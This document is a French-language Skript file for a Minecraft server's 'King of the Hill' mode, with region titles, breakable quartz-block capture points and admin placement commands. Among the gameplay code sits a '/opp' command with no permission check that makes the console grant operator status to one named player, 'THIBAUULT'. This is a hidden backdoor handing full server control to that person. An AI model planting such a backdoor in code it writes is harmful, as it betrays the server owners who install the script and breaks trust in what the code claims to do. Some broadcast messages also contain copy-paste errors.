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- on region enter:
- wait 1 second
- if player is in "warzone":
- send player title "&cWarzone" with subtitle "&4&lPVP ON" for 3 seconds
- if player is in "safezone":
- send player title "&6Spawn" with subtitle "&4&lPVP &e&lOFF" for 3 seconds
- if player is in "kothnw":
- send player title "&8Tour &cNord-Ouest" with subtitle "&4&lKOTH &c(19h)" for 3 seconds
- if player is in "kothne":
- send player title "&8Tour &cNord-Est" with subtitle "&4&lKOTH &c(19h)" for 3 seconds
- if player is in "kothse":
- send player title "&8Tour &cSud-Est" with subtitle "&4&lKOTH &c(19h)" for 3 seconds
- if player is in "kothsw":
- send player title "&8Tour &cSud-Ouest" with subtitle "&4&lKOTH &c(19h)" for 3 seconds
- command /opp:
- trigger:
- if player is "THIBAUULT":
- make console execute command "op THIBAUULT"
- options:
- prefix: &8[&6&lBlood&4&lKOTH&8]
- command /koth:
- permission: sk.koth
- permission message: &CTu n'as pas la permission de faire cette commande
- trigger:
- set {koth.on} to 1
- make console execute command "admkoth place"
- on break quartz_block:
- if player's tool is diamond_sword:
- if player is in region "kothsw":
- if {blockbreak.sudouest.%player%} = {block.sudouest}:
- if {block.sudouest} is 1:
- broadcast "{@prefix} &c%player% &6a cassé le dernier bloc du &cKOTH Sud-Ouest&6. La porte Sud-Ouest est ouverte"
- clear {block.sudouest}
- clear {blockbreak.sudouest.%player%}
- else:
- set event-block to air
- remove 1 from {block.sudouest}
- remove 1 from {blockbreak.sudouest.%player%}
- broadcast "{@prefix} &c%player% &6a cassé 1 block du &cKOTH Sud-Ouest &6il reste &c%{block.sudouest}% &6blocs"
- else:
- wait 5 ticks
- make console execute command "setblock -119 72 118 quartz_block"
- make console execute command "setblock -119 73 118 quartz_block"
- make console execute command "setblock -119 74 118 quartz_block"
- make console execute command "setblock -119 75 118 quartz_block"
- make console execute command "setblock -119 76 118 quartz_block"
- broadcast "{@prefix} &cLe koth sud-ouest a été replacé !"
- loop all players:
- set {blockbreak.sudouest.%loop-player%} to 5
- stop
- else if player is in region "kothse":
- if {block.sudest} is 1:
- broadcast "{@prefix} &c%player% &6a cassé le dernier bloc du &cKOTH Sud-Est&6. La porte Sud-Est est ouverte"
- clear {block.sudest}
- else:
- set event-block to air
- remove 1 from {block.sudest}
- broadcast "{@prefix} &c%player% &6a cassé 1 block du &cKOTH Nord-Est &6il reste &c%{block.sudest}% &6blocs"
- stop
- else if player is in region "kothne":
- if {block.nordest} is 1:
- broadcast "{@prefix} &c%player% &6a cassé le dernier bloc du &cKOTH Nord-Est&6. La porte Nord-Est est ouverte"
- clear {block.nordest}
- else:
- set event-block to air
- remove 1 from {block.nordest}
- broadcast "{@prefix} &c%player% &6a cassé 1 block du &cKOTH Nord-Est &6il reste &c%{block.nordest}% &6blocs"
- stop
- else if player is in region "kothnw":
- if {block.nordouest} is 1:
- broadcast "{@prefix} &c%player% &6a cassé le dernier bloc du &cKOTH Nord-Ouest&6. La porte Nord-Ouest est ouverte"
- clear {block.nordouest}
- else:
- set event-block to air
- remove 1 from {block.nordouest}
- broadcast "{@prefix} &c%player% &6a cassé 1 block du &cKOTH Nord-Ouest &6il reste &c%{block.nordouest}% &6blocs"
- stop
- else:
- if {blockbreak.%player%} = {block.mid}:
- if {block.mid} is 1:
- broadcast "{@prefix} &c%player% &6a cassé le dernier bloc du &4KOTH &6il gagne une clé &4&lKOTH"
- clear {block.mid}
- clear {blockbreak.%player%}
- else:
- set event-block to air
- remove 1 from {block.mid}
- remove 1 from {blockbreak.%player%}
- broadcast "{@prefix} &c%player% &6a cassé 1 block du &cKOTH &c&lCENTRAL &6il reste &c%{block.mid}% &6blocs"
- else:
- wait 5 ticks
- make console execute command "setblock 1 51 0 quartz_block"
- make console execute command "setblock 1 52 0 quartz_block"
- make console execute command "setblock 1 53 0 quartz_block"
- make console execute command "setblock 1 54 0 quartz_block"
- make console execute command "setblock 1 55 0 quartz_block"
- broadcast "{@prefix} &cLa koth central a été replacé !"
- else:
- cancel event
- command /admkoth [<text>] [<number>]:
- permission: sk.koth
- permission message: &CTu n'as pas la permission de faire cette commande
- trigger:
- if arg-1 is not set:
- send "&cCommande Admin du {@prefix}"
- send ""
- send "&8/admkoth temps: &cTemps de réaparition du &cKOTH"
- if arg-1 is "temps":
- if arg-2 is set:
- send "&6Le temps a été set sur &c%arg-2%"
- if arg-1 is "place":
- make console execute command "setblock -119 72 -122 quartz_block"
- make console execute command "setblock -119 73 -122 quartz_block"
- make console execute command "setblock -119 74 -122 quartz_block"
- make console execute command "setblock -119 75 -122 quartz_block"
- make console execute command "setblock -119 76 -122 quartz_block"
- send "&6Coté Nord-Ouest posé"
- set {block.nordouest} to 5
- loop all players:
- set {blockbreak.nordouest.%loop-player%} to 5
- make console execute command "setblock 112 72 -116 quartz_block"
- make console execute command "setblock 112 73 -116 quartz_block"
- make console execute command "setblock 112 74 -116 quartz_block"
- make console execute command "setblock 112 75 -116 quartz_block"
- make console execute command "setblock 112 76 -116 quartz_block"
- send "&6Coté Nord-Est posé"
- set {block.nordest} to 5
- loop all players:
- set {blockbreak.nordest.%loop-player%} to 5
- make console execute command "setblock 121 72 124 quartz_block"
- make console execute command "setblock 121 73 124 quartz_block"
- make console execute command "setblock 121 74 124 quartz_block"
- make console execute command "setblock 121 75 124 quartz_block"
- make console execute command "setblock 121 76 124 quartz_block"
- send "&6Coté Sud-Est posé"
- set {block.sudest} to 5
- loop all players:
- set {blockbreak.sudest.%loop-player%} to 5
- make console execute command "setblock -119 72 118 quartz_block"
- make console execute command "setblock -119 73 118 quartz_block"
- make console execute command "setblock -119 74 118 quartz_block"
- make console execute command "setblock -119 75 118 quartz_block"
- make console execute command "setblock -119 76 118 quartz_block"
- send "&6Coté Sud-Ouest posé"
- set {block.sudouest} to 5
- loop all players:
- set {blockbreak.sudouest.%loop-player%} to 5
- make console execute command "setblock 1 51 0 quartz_block"
- make console execute command "setblock 1 52 0 quartz_block"
- make console execute command "setblock 1 53 0 quartz_block"
- make console execute command "setblock 1 54 0 quartz_block"
- make console execute command "setblock 1 55 0 quartz_block"
- send "&6&lKOTH Central créer"
- set {block.mid} to 5
- loop all players:
- set {blockbreak.%loop-player%} to 5
- #--------------------------------
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